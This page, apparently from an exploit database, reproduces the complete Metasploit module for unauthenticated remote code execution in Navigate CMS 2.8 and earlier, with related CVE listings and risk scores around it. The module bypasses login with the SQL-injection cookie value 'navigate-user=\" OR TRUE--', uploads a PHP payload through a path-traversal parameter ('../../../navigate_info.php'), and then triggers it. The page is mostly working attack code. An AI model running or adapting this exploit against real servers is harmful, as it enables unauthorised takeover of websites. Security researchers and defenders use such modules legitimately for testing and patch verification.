Lucene search
K

Navigate CMS - Unauthenticated Remote Code Execution Exploit

🗓️ 08 Oct 2018 00:00:00Reported by zdtType 
zdt
 zdt
🔗 0day.today👁 94 Views

Navigate CMS Unauthenticated Remote Code Execution exploit in versions 2.8 and prior. Allows unauthenticated attackers to execute arbitrary PHP code remotely

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2018-17552
4 Oct 201811:53
circl
Circl
CVE-2018-17553
4 Oct 201811:53
circl
CNVD
Naviwebs Navigate CMS SQL Injection Vulnerability
9 Oct 201800:00
cnvd
Check Point Advisories
Naviwebs Navigate CMS Directory Traversal (CVE-2018-17553)
26 May 202200:00
checkpoint_advisories
CVE
CVE-2018-17552
3 Oct 201820:00
cve
CVE
CVE-2018-17553
3 Oct 201820:00
cve
Cvelist
CVE-2018-17552
3 Oct 201820:00
cvelist
Cvelist
CVE-2018-17553
3 Oct 201820:00
cvelist
Dsquare
Navigate CMS 2.8 File Upload
18 Nov 201800:00
dsquare
Metasploit
Navigate CMS Unauthenticated Remote Code Execution
26 Sep 201819:39
metasploit
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
 
  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Navigate CMS Unauthenticated Remote Code Execution',
      'Description' => %q(
        This module exploits insufficient sanitization in the database::protect
        method, of Navigate CMS versions 2.8 and prior, to bypass authentication.
 
        The module then uses a path traversal vulnerability in navigate_upload.php
        that allows authenticated users to upload PHP files to arbitrary locations.
        Together these vulnerabilities allow an unauthenticated attacker to
        execute arbitrary PHP code remotely.
 
        This module was tested against Navigate CMS 2.8.
      ),
      'Author' =>
        [
          'Pyriphlegethon' # Discovery / msf module
        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          ['CVE', '2018-17552'], # Authentication bypass
          ['CVE', '2018-17553']  # File upload
        ],
      'Privileged' => false,
      'Platform' => ['php'],
      'Arch' => ARCH_PHP,
      'Targets' =>
        [
          ['Automatic', {}]
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Sep 26 2018'))
 
    register_options [
      OptString.new('TARGETURI', [true, 'Base Navigate CMS directory path', '/navigate/']),
    ]
  end
 
  def login_bypass
    check_resp = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/login.php')
    )
 
    login_bypass_resp = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/login.php'),
      'cookie' => 'navigate-user=\" OR TRUE--%20'
    )
 
    if login_bypass_resp &&
       login_bypass_resp.code == 302 &&
       check_resp.body.include?('Navigate CMS')
      session_id = login_bypass_resp.get_cookies_parsed
                                    .values.select { |v| v.to_s.include?('NVSID_') }
                                    .first.first
      return session_id
    end
  end
 
  def check
    return CheckCode::Vulnerable if login_bypass
    CheckCode::Safe
  end
 
  def exploit
    session_id = login_bypass
    fail_with(Failure::NoAccess, 'Login bypass failed') unless session_id
 
    print_good('Login bypass successful')
 
    php = payload.encoded
    data = Rex::MIME::Message.new
    data.add_part(php, 'image/jpeg', nil,
      "form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(10..15)}\"")
    data_post = data.to_s
 
    upload = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/navigate_upload.php'),
      'vars_get' => Hash[{
        'session_id' => session_id,
        'engine' => 'picnik',
        'id' => '../../../navigate_info.php'
      }.to_a.shuffle],
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => data_post
    )
 
    fail_with(Failure::Unreachable, 'Unable to reach target') unless upload
    fail_with(Failure::Unknown, 'Upload unsuccessful') unless upload.code == 200
 
    print_good('Upload successful')
 
    print_status('Triggering payload...')
    send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/navigate_info.php')
    )
  end
 
  def on_new_session(session)
    super
    if session.type != 'meterpreter'
      print_error('Unable to restore navigate_info.php')
      return
    end
 
    session.core.use('stdapi') if !session.ext.aliases.include?('stdapi')
 
    begin
      session.fs.file.open('navigate_info.php', 'w').write("<?php\n\nphpinfo();\n\n?>")
    rescue
      print_error('Unable to restore navigate_info.php')
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Oct 2018 00:00Current
0.4Low risk
Vulners AI Score0.4
CVSS 27.5
CVSS 39.8
EPSS0.88168
94